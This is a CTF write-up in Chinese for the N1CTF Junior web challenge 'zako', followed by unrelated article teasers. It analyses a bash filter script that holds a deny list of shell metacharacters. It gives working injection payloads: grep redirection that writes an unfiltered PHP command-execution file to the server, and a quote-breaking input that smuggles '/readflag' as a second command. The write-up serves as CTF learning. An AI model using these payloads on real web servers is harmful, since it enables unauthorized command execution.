第二届 N1CTF Junior WEB方向 部分题解WP

news2024/11/28 19:05:37

zako

题目描述:很简单的rce哦

启动环境,源码直接给了。

image-20240204152839004

execute.sh

#!/bin/bash

reject(){
    echo ${1}
    exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" \
'BEGIN{
    deny="`;&$(){}[]!@#$%^&*-";
    for(i = 1; i <= length(str); i++){
        char = substr(str, i, 1);

        for(x = 1; x < length(deny)+1; x++){
            r = substr(deny, x, 1);
            if(char == r) exit 1;
        }
    }
}'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
    allows[1] = "ls";
    allows[2] = "makabaka";
    allows[3] = "whoareu";
    allows[4] = "cut~no";
    allows[5] = "grep";
    allows[6] = "wc";
    allows[7] = "鏉傞奔鉂鏉傞奔鉂";
    allows[8] = "netstat.jpg";
    allows[9] = "awsl";
    allows[10] = "dmesg";
    allows[11] = "xswl";
}{
    num=1;
    for(i=1; i<=NF; i++){
        for(x=1; x<=length(allows); x++){
            cmpstr = substr($i, 1, length(allows[x]));
            if(cmpstr == allows[x])
                eval_cmd[num++] = $i;
        }
    }
}END{
    for(i=1; i<=length(eval_cmd); i++) {
        if(i!=1)
            printf "| %s", eval_cmd[i];
        else
            printf "%s", eval_cmd[i];
    }
}'`

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"


eval ${eval_cmd}

逐行解释:

  1. #!/bin/bash:这行指定了脚本执行时使用的解释器,即 Bash。
  2. 定义了一个名为 reject 的函数,它接受一个参数并将其打印出来,然后通过 exit 1 终止脚本执行,返回状态 1 表示出现了错误。
  3. XXXCMD=$1:这行将脚本的第一个参数赋值给变量 XXXCMD,这个参数预期是用户想要执行的命令。
  4. 使用 awk 工具和 -v 选项来检查 XXXCMD 变量中是否包含任何不允许的字符。这些字符包括了大多数会对 Shell 脚本产生特殊意义的符号,如反引号、分号、管道符、括号等。如果发现这些字符中的任何一个,awk 会通过 exit 1 退出并返回状态 1。
  5. [ $? -ne 0 ] && reject "NOT ALLOW 1":这行检查上一个命令(awk)的退出状态。如果 awk 发现了不允许的字符并退出,其返回状态不会是 0,这会触发 reject 函数的调用,打印 “NOT ALLOW 1” 并终止脚本。
  6. 接下来的 awk 命令通过 -F "|" 设置字段分隔符为管道符号,然后检查 XXXCMD 是否只包含被明确允许的命令。这些允许的命令被列在 allows 数组中。awk 脚本将检查 XXXCMD 中的每个命令是否完全匹配这些允许的命令之一。
  7. [ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2":这行检查是否有命令被输入。如果 XXXCMD 是空的,即没有命令被输入,它会调用 reject 函数打印 “NOT ALLOW 2” 并终止脚本。
  8. 最后,脚本使用 eval 命令执行经过过滤的命令。eval_cmd 变量包含了通过前面的过滤过程允许执行的命令。使用 eval 可以执行字符串中的命令,这里的字符串是通过前面的 awk 命令处理得到的。

总结一下,这个脚本有黑名单``;&KaTeX parse error: Expected 'EOF', got '#' at position 9: (){}[]!@#̲%^&*-和白名单。传入的命令是(或者说包含字符串)lsgrepwcdmesg`。则可以把传入的字符串当作命令执行。


疑点如下:

1、猜测外部也有过滤(之后尝试确实如此

image-20240204152905838

2、长度限制(做完发现是障眼法

image-20240204153239037

先看看文件结构:
image-20240204153328293

image-20240204153344149

解决疑点1,我们先获取index.php的真实内容。

/?.[secret.xswl.io=grep "" ?ndex.php

image-20240204153451193

分析:

1、根目录有readflag文件(可执行文件),之后肯定是运行readflag来获取flag,而不是直接读取flag文件(无权限)

2、过滤(黑名单)两处,一处外部在index.php,一处内部在execute.sh

3、同时execute.sh内还有命令执行白名单。相比之下,暂且先认为我们最后的readflag不可在execute.sh文件内执行。所以我们要尝试闭合单引号,在execute.sh文件外部执行命令。

4、我们应该花更多心思去尝试如何直接在php文件里面执行命令,同时突破命令分隔符限制,分隔命令执行radflag。

5、在闭合单引号前,我们可用的命令只有lsgrepwcdmesg。这里注意grep,这个命令返回的是字符串。

看着初始的源码

image-20240204154253323

要是没有waf过滤就好了。梦中源码:

<?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];

system("./execute.sh '".$cmd."'");

?>

梦想成真只需grep命令执行结果重定向写入文件!

payload:

?.[secret.xswl.io=grep "<?php" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "highlight" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "REQUEST" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "system" ?ndex.php >> 1.php

image-20240204154957324

最后执行命令读取flag:

/1.php?.[secret.xswl.io=ls';/readflag;'

image-20240204155031945

一道有趣且非常灵活的题目。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1432600.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unity引擎学习笔记之【混合动画操作】

混合动画Hybrid Animation Unity中的Blend Tree是一种动画混合技术&#xff0c;它允许开发者通过添加多个动画片段&#xff08;例如奔跑、行走、跳跃等&#xff09;来创建复杂的角色动画。Blend Tree允许在不同的状态下平滑地过渡并混合不同的动画。例如&#xff0c;在奔跑和行…

PyTorch 2.2 中文官方教程(九)

在生产环境中部署 PyTorch 模型 通过 Flask 在 Python 中部署 PyTorch 的 REST API 原文&#xff1a;pytorch.org/tutorials/intermediate/flask_rest_api_tutorial.html 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 注意 点击这里下载完整的示例代码 作者&#…

1997-2022年中央对各省份一般公共预算转移支付数据

1997-2022年中央对各省份一般公共预算转移支付数据 1、时间&#xff1a;1997-2022年 2、范围&#xff1a;31省 3、指标&#xff1a;一般公共预算转移支付 4、来源&#xff1a;wind 财政部 5、指标解释&#xff1a;一般性转移支付又称体制性转移支付&#xff0c;是指上级政…

机器学习本科课程 实验3 决策树处理分类任务

实验3.1 决策树处理分类任务 使用sklearn.tree.DecisionTreeClassifier完成肿瘤分类&#xff08;breast-cancer&#xff09;计算最大深度为10时&#xff0c;十折交叉验证的精度(accuracy)&#xff0c;查准率(precision)&#xff0c;查全率(recall)&#xff0c;F1值绘制最大深度…

前端学习第4天

一、复合选择器 1.后代选择器 2.子代选择器 3.并集选择器 4.交集选择器 5.伪类选择器 1.伪类-超链接&#xff08;拓展&#xff09; 二、CSS特性 1.继承性 body放在style中 2.层叠性 3.优先级 属性 !important;&#xff08;最高优先级&#xff09; 1.优先级-叠加计算规则 2.em…

枚举(Java)

一、概念 枚举是一种特殊的类。 格式&#xff1a; 修饰符 enum 枚举类名{ 对象名称1&#xff0c;对象名称2&#xff0c;....; 其他成员... } 二、枚举类的特点 1.枚举类的第一行只能罗列一些名称&#xff0c;并且这些名称都是常量&#xff0c;每个常量记住一个枚举类对象…

Quartus IP 之mif与hex文件创建与使用

一、mif与hex概述 ROM IP的数据需要满足断电不丢失的要求&#xff0c;ROM IP数据的文件格式一般有三种文件格式&#xff1a;.mif、.hex、.coe&#xff0c;Xilinx与Intel Altera支持的ROM IP数据文件格式如下&#xff1a; Xilinx与Altera支持的ROM文件格式 Alterahex、mifAM&am…

基于微信小程序的书籍阅读系统,附源码

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

ACPF UI 框架设计与基础实现

世态人情,比明月清风更饶有滋味;可作书读,可当戏看。书上的描摹,戏里的扮演,即使栩栩如生,究竟只是文艺作品;人情世态,都是天真自然的流露,往往超出情理之外,新奇得令人震惊,令人骇怪,给人以更深刻的效益,更奇妙的娱乐。惟有身处卑微的人,最有机缘看到世态人情的…

【python】python爱心代码【附源码】

一、实现效果&#xff1a; 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 二、完整代码&#xff1a; import math import random import threading import time from math import sin, cos, pi, log from tkinter import * import re# 烟花相关设置 Fireworks [] m…

离线下载安装postgresql12/13/14/15.

前言 参考此链接&#xff0c;但是有问题 1.下载离线rpm包 下载安装postgresql-devel 12以上版本&#xff0c;去postgresql下载官网&#xff0c;然后自己选择是pg12还是13、14、15等。&#xff08;我选的12&#xff09;。不想麻烦的直接去我这资源直接下载 下载这个五个文件&…

CHS_09.2.3.6_2+多生产者-多消费者

CHS_09.2.3.6_2多生产者-多消费者 问题描述问题分析如何实现如何实现假如我们把盘子的容量设为二知识回顾 在这个小节中 我们会学习一个多生产者 多消费者的这样一个问题模型 问题描述 先来看一下问题的描述 假设桌子上面有一个盘子 每次只能向这个盘子里放一个水果 有四个人…

SpringBoot 各种回滚骚操作实战

事务定义 事务&#xff0c;就是一组操作数据库的动作集合。事务是现代数据库理论中的核心概念之一。如果一组处理步骤或者全部发生或者一步也不执行&#xff0c;我们称该组处理步骤为一个事务。当所有的步骤像一个操作一样被完整地执行&#xff0c;我们称该事务被提交。由于其…

Leetcode高频题:198打家劫舍1

题目链接力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目描述 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相…

力扣 121. 买卖股票的最佳时机

题目来源&#xff1a;https://leetcode.cn/problems/best-time-to-buy-and-sell-stock/description/ 好久没写代码了&#xff0c;啥啥都忘了 C题解1&#xff1a;贪心算法。&#xff08;来源代码随想录&#xff09; 因为股票就买卖一次&#xff0c;那么贪心的想法很自然就是取…

拖拽按钮: 如何区分点击和拖拽事件 (vueuse实现)

问题&#xff1a;使用vueuse的useDraggable去拽按钮时会触发点击事件&#xff0c;即使设置阻止默认事件还是没用。 方案1&#xff1a;判断拖拽时长 判断拖拽时长&#xff0c;如果大于点击的时间秒数&#xff0c;则被认为是拖拽。小于被认为是点击&#xff0c;则触发点击事件…

【01】C++入门

文章目录 Ⅰ 命名空间1. 命名空间域的产生2. 命名空间域的定义3. 命名空间域的使用 Ⅱ 缺省参数1. 缺省的概念2. 缺省的分类3. 声明和定义不能同时存在缺省参数 Ⅲ 函数重载1. 函数重载概念2. 编译器如何实现函数重载 Ⅳ 引用1. 引用的概念2. 引用的特性3. 引用的使用场景4. 引…

【Go-Zero】Error: only one service expected goctl一键转换生成rpc服务错误解决方案

【Go-Zero】Error: only one service expected goctl一键转换生成rpc服务错误解决方案 大家好 我是寸铁&#x1f44a; 总结了一篇Error: only one service expected goctl一键转换生成rpc服务错误解决方案的文章✨ 喜欢的小伙伴可以点点关注 &#x1f49d; 问题背景 今天寸铁在…

Qt之使用Qt内置图标

一效果 二.原理 Qt内置图标封装在QStyle中,共七十多个图标,可以直接拿来用,能应付不少简单程序需求,不用自己去找图标并添加到资源文件了。 下面是内置图标的枚举定义: enum StandardPixmap {SP_TitleBarMenuButton,SP_TitleBarMinButton,SP_TitleBarMaxButton,SP_T…

[Python] scikit-learn中数据集模块介绍和使用案例

sklearn.datasets模块介绍 在scikit-learn中&#xff0c;可以使用sklearn.datasets模块中的函数来构建数据集。这个模块提供了用于加载和生成数据集的函数。 API Reference — scikit-learn 1.4.0 documentation 以下是一些常用的sklearn.datasets模块中的函数 load_iris() …